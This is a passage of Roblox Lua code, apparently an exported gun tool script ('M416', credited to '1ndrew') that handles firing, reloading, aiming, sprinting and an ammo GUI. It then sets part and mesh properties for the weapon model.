- local First_Person = false
- local Mouse_Held
- Tool.Equipped:connect(function(Mouse)
- Equipped = true
- if Settings.Weld and not Welded then
- wait()
- Tool.Parent = Player.Backpack
- end
- Character = Player.Character
- if Gui then
- return
- end
- Ray_Ignore = {Character, Ignore_Model, Camera}
- Mouse.Icon = Settings.Icons.Idle
- Gui = script.Gui:Clone()
- Gui.Parent = Player.PlayerGui
- Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
- Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
- CanUpdateGui = true
- Update_Gui()
- Mouse.Button1Down:connect(function()
- if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
- Mouse_Held = true
- while true do
- Can_Shoot = false
- Delay(0, function()
- local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
- if not Aiming then
- Mouse.Icon = Settings.Icons.Fire1
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire2
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Fire3
- end
- wait(t)
- if not Aiming then
- if Reloading then return end
- Mouse.Icon = Settings.Icons.Idle
- end
- end)
- if Settings.Smoke then
- for i, v in pairs(Settings.Smokes) do
- local s = v[1]:Clone()
- s.Parent = Settings.SmokePart
- s.Enabled = true
- game.Debris:AddItem(s, v[2])
- if v[3] then
- Delay(v[3], function()
- s.Enabled = false
- end)
- end
- end
- end
- for _ = 1, Settings.Bullets do
- pcall(function() Fire(Mouse) end)
- end
- Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
- if Tool.Handle:FindFirstChild("Shoot") then
- Tool.Handle.Shoot:Play()
- end
- Ammo.Value = Ammo.Value - 1
- wait(Settings.FireRate)
- if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
- break
- end
- end
- Can_Shoot = true
- elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
- Tool.Handle.Click:Play()
- end
- end)
- Mouse.Button1Up:connect(function()
- Mouse_Held = false
- end)
- Mouse.KeyDown:connect(function(Key)
- if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
- if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
- return
- end
- Can_Shoot = false
- Reloading = true
- local TextLabel = Gui.Frame.AmmoDisplay
- Delay(0, function()
- CanUpdateGui = false
- TextLabel.Text = "Reloading."
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading.."
- end
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading..."
- end
- end)
- if Tool.Handle:FindFirstChild("Reload") then
- Tool.Handle.Reload:Play()
- end
- Mouse.Icon = Settings.Icons.Reload
- wait(Settings.ReloadTime)
- Mouse.Icon = Settings.Icons.Idle
- CanUpdateGui = true
- local m = Settings.Ammo
- if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
- m = m + 1
- end
- if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
- Ammo.Value = Ammo.Value + StoredAmmo.Value
- StoredAmmo.Value = 0
- else
- StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
- Ammo.Value = m
- end
- Can_Shoot = true
- Reloading = false
- elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
- Sprinting = true
- Character.Humanoid.WalkSpeed = Settings.SprintSpeed
- Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
- end
- end)
- Mouse.KeyUp:connect(function(Key)
- if Key:upper() == Settings.SprintKey:upper() and Sprinting then
- Sprinting = false
- Character.Humanoid.WalkSpeed = 16
- Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- end)
- Mouse.Button2Down:connect(function()
- if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
- Aiming = true
- Mouse.Icon = Settings.Icons.Aim
- Right_Weld.C1 = CFrame.new()
- Right_Weld.C0 = CFrame.new()
- Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
- Left_Weld.C1 = Settings.LeftAimPos
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = Settings.ChangeFOV[2]
- end
- Tool.GripPos = Orig_Grip + Settings.AimGripOffset
- Settings.Spread = Settings.Spread - Settings.SpreadReduction
- end
- end)
- Mouse.Button2Up:connect(function()
- if Aiming then
- Mouse.Icon = Settings.Icons.Idle
- Tool.GripPos = Orig_Grip
- Right_Weld.C1 = Settings.RightPos
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- Settings.Spread = Settings.Spread + Settings.SpreadReduction
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- wait(0.25)
- Aiming = false
- end
- end)
- wait()
- Camera.Changed:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- Mouse.Idle:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- while wait() and Equipped do
- if Sprinting then
- Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- elseif not Aiming then
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
- Mouse.TargetFilter = nil
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- end
- end
- end)
- local Arms_Made
- local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
- Tool.Equipped:connect(function(Mouse)
- if Character and not Arms_Made then
- Arms_Made = true
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1 = nil
- Left_Weld = Instance.new("Weld", Torso)
- Left_Weld.Name = "Left_Weld"
- Left_Weld.Part0 = Character.Head
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- if not Settings.OneHanded then
- Torso["Left Shoulder"].Part1 = nil
- Left_Weld.Part1 = Character["Left Arm"]
- end
- Right_Weld = Instance.new("Weld", Torso)
- Right_Weld.Name = "Right_Weld"
- Right_Weld.Part0 = Character.Head
- Right_Weld.Part1 = Character["Right Arm"]
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- Right_Weld.C1 = Settings.RightPos
- end
- if Settings.FakeArms and not Fake_Arm_Right then
- Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
- Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
- Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
- local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
- for i = 1, 2 do
- local w = Instance.new("Weld", fakeArms[i])
- w.Part0 = Character[fakeArms[i].Name]
- w.Part1 = fakeArms[i]
- fakeArms[i].Transparency = Settings.FakeArmTransparency
- end
- Fake_Arm_Model = Instance.new("Model", Camera)
- Fake_Arm_Right.Parent = Fake_Arm_Model
- if not Settings.OneHanded then
- Fake_Arm_Left.Parent = Fake_Arm_Model
- end
- Fake_Arm_Model.Name = "FakeArms"
- if Settings.CharacterMeshes then
- for i, v in pairs(Character:GetChildren()) do
- if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
- v:Clone().Parent = Fake_Arm_Model
- end
- end
- end
- if Character:FindFirstChild("Shirt") then
- Instance.new("Humanoid", Fake_Arm_Model)
- Character.Shirt:Clone().Parent = Fake_Arm_Model
- else
- local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
- Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
- local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
- Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
- end
- end
- end)
- Tool.Unequipped:connect(function()
- Equipped = false
- Tool.GripPos = Orig_Grip
- Aiming = false
- Settings.Spread = Orig_Spread
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- if Gui then
- Gui:Destroy()
- Gui = nil
- end
- for i, v in pairs(Tool.Handle:GetChildren()) do
- if v:IsA("Sound") then
- v:Stop()
- end
- end
- if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
- Fake_Arm_Model:Destroy()
- Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
- end
- if Character and Left_Weld and Right_Weld then
- Arms_Made = false
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
- Left_Weld:Destroy()
- Right_Weld:Destroy()
- end
- Sprinting = false
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Humanoid.WalkSpeed = 16
- end)
- end))
- NumberValue21.Name = "Ammo"
- NumberValue21.Parent = LocalScript20
- NumberValue21.Value = 31
- NumberValue22.Name = "StoredAmmo"
- NumberValue22.Parent = LocalScript20
- NumberValue22.Value = 400
- Smoke23.Parent = LocalScript20
- Smoke23.Size = 0.25
- Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke23.Enabled = false
- Smoke23.Opacity = 0.10000000149012
- Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke24.Name = "Smoke1"
- Smoke24.Parent = LocalScript20
- Smoke24.Size = 0.10000000149012
- Smoke24.Color = Color3.new(1, 0.6, 0.2)
- Smoke24.Enabled = false
- Smoke24.Opacity = 0.40000000596046
- Smoke24.Color = Color3.new(1, 0.6, 0.2)
- PointLight25.Name = "Flash"
- PointLight25.Parent = LocalScript20
- PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
- PointLight25.Brightness = 10
- PointLight25.Range = 10
- PointLight25.Shadows = true
- PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
- ScreenGui26.Name = "Gui"
- ScreenGui26.Parent = LocalScript20
- Frame27.Parent = ScreenGui26
- Frame27.Transparency = 0.5
- Frame27.Size = UDim2.new(0, 120, 0, 35)
- Frame27.Position = UDim2.new(1, -150, 1, -44)
- Frame27.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame27.BackgroundTransparency = 0.5
- Frame27.BorderSizePixel = 3
- TextLabel28.Name = "AmmoDisplay"
- TextLabel28.Parent = Frame27
- TextLabel28.Transparency = 1
- TextLabel28.Size = UDim2.new(1, 0, 1, 0)
- TextLabel28.Text = ""
- TextLabel28.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel28.BackgroundTransparency = 1
- TextLabel28.Font = Enum.Font.SourceSansBold
- TextLabel28.FontSize = Enum.FontSize.Size24
- TextLabel28.TextColor3 = Color3.new(0, 0, 0)
- TextLabel28.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel28.TextStrokeTransparency = 0.5
- TextLabel28.TextXAlignment = Enum.TextXAlignment.Right
- Frame29.Parent = ScreenGui26
- Frame29.Transparency = 0.5
- Frame29.Size = UDim2.new(0, 126, 0, 10)
- Frame29.Position = UDim2.new(1, -153, 1, -62)
- Frame29.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame29.BackgroundTransparency = 0.5
- Frame29.BorderSizePixel = 3
- TextLabel30.Name = "Caliber"
- TextLabel30.Parent = Frame29
- TextLabel30.Transparency = 1
- TextLabel30.Size = UDim2.new(1, 0, 1, 0)
- TextLabel30.Text = "Made by 1ndrew"
- TextLabel30.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel30.BackgroundTransparency = 1
- TextLabel30.Font = Enum.Font.SourceSansBold
- TextLabel30.FontSize = Enum.FontSize.Size28
- TextLabel30.TextColor3 = Color3.new(0, 0, 0)
- TextLabel30.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel30.TextStrokeTransparency = 0.5
- TextLabel30.TextXAlignment = Enum.TextXAlignment.Right
- Frame31.Parent = ScreenGui26
- Frame31.Transparency = 0.5
- Frame31.Size = UDim2.new(0, 126, 0, 40)
- Frame31.Position = UDim2.new(1, -153, 1, -109)
- Frame31.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame31.BackgroundTransparency = 0.5
- Frame31.BorderSizePixel = 3
- TextLabel32.Name = "Accessories"
- TextLabel32.Parent = Frame31
- TextLabel32.Transparency = 1
- TextLabel32.Size = UDim2.new(1, 0, 1, 0)
- TextLabel32.Text = "M416"
- TextLabel32.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel32.BackgroundTransparency = 1
- TextLabel32.Font = Enum.Font.SourceSansBold
- TextLabel32.FontSize = Enum.FontSize.Size14
- TextLabel32.TextColor3 = Color3.new(0, 0, 0)
- TextLabel32.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel32.TextStrokeTransparency = 0.5
- TextLabel32.TextXAlignment = Enum.TextXAlignment.Right
- Part33.Parent = Tool0
- Part33.Material = Enum.Material.SmoothPlastic
- Part33.BrickColor = BrickColor.new("Mid gray")
- Part33.Rotation = Vector3.new(-90, 0, 179.459991)
- Part33.Anchored = true
- Part33.FormFactor = Enum.FormFactor.Custom
- Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part33.CFrame = CFrame.new(27.0690918, 1.65112305, 138.333984, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
- Part33.BottomSurface = Enum.SurfaceType.Smooth
- Part33.TopSurface = Enum.SurfaceType.Smooth
- Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
- Part33.Position = Vector3.new(27.0690918, 1.65112305, 138.333984)
- Part33.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
- Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
- CylinderMesh34.Parent = Part33
- CylinderMesh34.Offset = Vector3.new(0, 0.0120000001, 0)
- CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
- CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
- Part35.Parent = Tool0
- Part35.Material = Enum.Material.SmoothPlastic
- Part35.BrickColor = BrickColor.new("Mid gray")
- Part35.Rotation = Vector3.new(-90, 0, 179.459991)
- Part35.Anchored = true
- Part35.FormFactor = Enum.FormFactor.Custom
- Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part35.CFrame = CFrame.new(27.1169434, 1.65112305, 138.33429, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
- Part35.BottomSurface = Enum.SurfaceType.Smooth
- Part35.TopSurface = Enum.SurfaceType.Smooth
- Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
- Part35.Position = Vector3.new(27.1169434, 1.65112305, 138.33429)
- Part35.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
- Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
- CylinderMesh36.Parent = Part35
- CylinderMesh36.Offset = Vector3.new(0, 0.0120000001, 0)
- CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
- CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
- Part37.Parent = Tool0
- Part37.Material = Enum.Material.SmoothPlastic
- Part37.BrickColor = BrickColor.new("Dark stone grey")
- Part37.Reflectance = 0.050000000745058
- Part37.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part37.Anchored = true
- Part37.FormFactor = Enum.FormFactor.Custom
- Part37.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
- Part37.CFrame = CFrame.new(27.0869141, 1.27026403, 138.981995, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part37.Position = Vector3.new(27.0869141, 1.27026403, 138.981995)
- Part37.Orientation = Vector3.new(0, -90.5400009, 90)
- Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh38.Parent = Part37
- CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
- CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
- Part39.Parent = Tool0
- Part39.Material = Enum.Material.SmoothPlastic
- Part39.BrickColor = BrickColor.new("Dark stone grey")
- Part39.Rotation = Vector3.new(-89.4599991, 45, 89.2399979)
- Part39.Anchored = true
- Part39.FormFactor = Enum.FormFactor.Custom
- Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part39.CFrame = CFrame.new(27.0773926, 1.66210902, 138.345764, 0.00939139724, -0.707075477, 0.707075417, 3.55030458e-08, 0.70710659, 0.707106471, -0.999955356, -0.00664065778, 0.00664073229)
- Part39.BottomSurface = Enum.SurfaceType.Smooth
- Part39.TopSurface = Enum.SurfaceType.Smooth
- Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part39.Position = Vector3.new(27.0773926, 1.66210902, 138.345764)
- Part39.Orientation = Vector3.new(-45, 89.4599991, 0)
- Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh40.Parent = Part39
- BlockMesh40.Offset = Vector3.new(0, 0, 0.00300000003)
- BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
- BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
- Part41.Parent = Tool0
- Part41.Material = Enum.Material.SmoothPlastic
- Part41.BrickColor = BrickColor.new("Black")
- Part41.Reflectance = 0.050000000745058
- Part41.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part41.Anchored = true
- Part41.FormFactor = Enum.FormFactor.Custom
- Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
- Part41.CFrame = CFrame.new(27.0887451, 1.39013696, 138.7724, -0.999955893, 8.71412595e-08, 0.00939127803, 8.74227624e-08, 0.999999881, 2.9562246e-08, -0.00939150155, 3.03819299e-08, -0.999955535)
- Part41.BottomSurface = Enum.SurfaceType.Smooth
- Part41.TopSurface = Enum.SurfaceType.Smooth
- Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part41.Position = Vector3.new(27.0887451, 1.39013696, 138.7724)
- Part41.Orientation = Vector3.new(0, 179.459991, 0)
- Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh42.Parent = Part41
- BlockMesh42.Offset = Vector3.new(0, 0, 0.0599999987)
- BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
- BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
- Part43.Parent = Tool0
- Part43.Material = Enum.Material.SmoothPlastic
- Part43.BrickColor = BrickColor.new("Black")
- Part43.Reflectance = 0.050000000745058
- Part43.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part43.Anchored = true
- Part43.FormFactor = Enum.FormFactor.Custom
- Part43.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
- Part43.CFrame = CFrame.new(27.0847168, 1.27026403, 139.204041, 7.55679963e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.35136751e-08, -2.1839287e-07, -0.999955297, -0.00939120352)
- Part43.BottomSurface = Enum.SurfaceType.Smooth
- Part43.TopSurface = Enum.SurfaceType.Smooth
- Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part43.Position = Vector3.new(27.0847168, 1.27026403, 139.204041)
- Part43.Orientation = Vector3.new(0, -90.5400009, 90)
- Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh44.Parent = Part43
- CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
- CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
- Part45.Parent = Tool0
- Part45.Material = Enum.Material.SmoothPlastic
- Part45.BrickColor = BrickColor.new("Black")
- Part45.Reflectance = 0.050000000745058
- Part45.Rotation = Vector3.new(90, 0, 0.539999962)
- Part45.Anchored = true
- Part45.FormFactor = Enum.FormFactor.Custom
- Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part45.CFrame = CFrame.new(27.0944824, 1.43823195, 138.142151, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
- Part45.BottomSurface = Enum.SurfaceType.Smooth
- Part45.TopSurface = Enum.SurfaceType.Smooth
- Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part45.Position = Vector3.new(27.0944824, 1.43823195, 138.142151)
- Part45.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
- Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh46.Parent = Part45
- BlockMesh46.Offset = Vector3.new(0.0599999987, 0.0149999997, 0.0375000015)
- BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
- BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
- Part47.Parent = Tool0
- Part47.Material = Enum.Material.SmoothPlastic
- Part47.BrickColor = BrickColor.new("Black")
- Part47.Reflectance = 0.050000000745058
- Part47.Rotation = Vector3.new(-90, 0, -0.539999962)
- Part47.Anchored = true
- Part47.FormFactor = Enum.FormFactor.Custom
- Part47.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part47.CFrame = CFrame.new(27.0892334, 0.901122987, 138.718384, 0.999955833, 0.00939102471, 7.51575016e-08, -7.35136609e-08, -1.75381558e-07, 0.999999583, 0.00939126313, -0.999954998, -1.74683436e-07)
- Part47.BottomSurface = Enum.SurfaceType.Smooth
- Part47.TopSurface = Enum.SurfaceType.Smooth
- Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part47.Position = Vector3.new(27.0892334, 0.901122987, 138.718384)
- Part47.Orientation = Vector3.new(-89.9499969, 156.720001, -157.259995)
- Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh48.Parent = Part47
- SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh48.MeshType = Enum.MeshType.Wedge
- SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part49.Parent = Tool0
- Part49.Material = Enum.Material.SmoothPlastic
- Part49.BrickColor = BrickColor.new("Black")
- Part49.Reflectance = 0.050000000745058
- Part49.Rotation = Vector3.new(0, 89.4599991, 0)
- Part49.Anchored = true
- Part49.FormFactor = Enum.FormFactor.Custom
- Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part49.CFrame = CFrame.new(26.9870605, 1.40820301, 138.111023, 0.00939127803, 8.71412595e-08, 0.999955893, 2.9562246e-08, 0.999999881, -8.74227624e-08, -0.999955535, 3.03819299e-08, 0.00939150155)
- Part49.BottomSurface = Enum.SurfaceType.Smooth
- Part49.TopSurface = Enum.SurfaceType.Smooth
- Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part49.Position = Vector3.new(26.9870605, 1.40820301, 138.111023)
- Part49.Orientation = Vector3.new(0, 89.4599991, 0)
- Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh50.Parent = Part49
- CylinderMesh50.Offset = Vector3.new(0, -0.00749999983, 0)
- CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
- CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
- Part51.Parent = Tool0
- Part51.Material = Enum.Material.SmoothPlastic
- Part51.BrickColor = BrickColor.new("Black")
- Part51.Reflectance = 0.050000000745058
- Part51.Rotation = Vector3.new(90, 0, 0.539999962)
- Part51.Anchored = true
- Part51.FormFactor = Enum.FormFactor.Custom
- Part51.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part51.CFrame = CFrame.new(27.0948486, 1.40820301, 138.112427, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
- Part51.BottomSurface = Enum.SurfaceType.Smooth
- Part51.TopSurface = Enum.SurfaceType.Smooth
- Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part51.Position = Vector3.new(27.0948486, 1.40820301, 138.112427)
- Part51.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
- Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh52.Parent = Part51
- BlockMesh52.Offset = Vector3.new(0, 0, 0.00749999983)
- BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
- BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
- Part53.Parent = Tool0
- Part53.Material = Enum.Material.SmoothPlastic
- Part53.BrickColor = BrickColor.new("Black")
- Part53.Reflectance = 0.050000000745058
- Part53.Rotation = Vector3.new(0, 89.4599991, 0)
- Part53.Anchored = true
- Part53.FormFactor = Enum.FormFactor.Custom
- Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part53.CFrame = CFrame.new(27.2025146, 1.40820301, 138.11322, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
- Part53.BottomSurface = Enum.SurfaceType.Smooth
- Part53.TopSurface = Enum.SurfaceType.Smooth
- Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part53.Position = Vector3.new(27.2025146, 1.40820301, 138.11322)
- Part53.Orientation = Vector3.new(0, 89.4599991, 0)
- Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh54.Parent = Part53
- CylinderMesh54.Offset = Vector3.new(0, -0.00749999983, 0)
- CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
- CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
- Part55.Parent = Tool0
- Part55.Material = Enum.Material.SmoothPlastic
- Part55.BrickColor = BrickColor.new("Black")
- Part55.Reflectance = 0.050000000745058
- Part55.Rotation = Vector3.new(-90, 0, 179.459991)
- Part55.Anchored = true
- Part55.FormFactor = Enum.FormFactor.Custom
- Part55.Size = Vector3.new(0.209999993, 0.324000001, 0.200000003)
- Part55.CFrame = CFrame.new(27.09021, 0.813232005, 138.622009, -0.999955833, -0.00939106941, 7.61370416e-08, 7.35136609e-08, 2.79689573e-07, 0.999999523, -0.00939126313, 0.999955058, -2.7898696e-07)
- Part55.BottomSurface = Enum.SurfaceType.Smooth
- Part55.TopSurface = Enum.SurfaceType.Smooth
- Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part55.Position = Vector3.new(27.09021, 0.813232005, 138.622009)
- Part55.Orientation = Vector3.new(-89.9399948, 164.73999, 14.7299995)
- Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh56.Parent = Part55
- BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
- BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
- Part57.Parent = Tool0
- Part57.Material = Enum.Material.SmoothPlastic
- Part57.BrickColor = BrickColor.new("Black")
- Part57.Reflectance = 0.050000000745058
- Part57.Rotation = Vector3.new(180, 0.539999962, 0)
- Part57.Anchored = true
- Part57.FormFactor = Enum.FormFactor.Custom
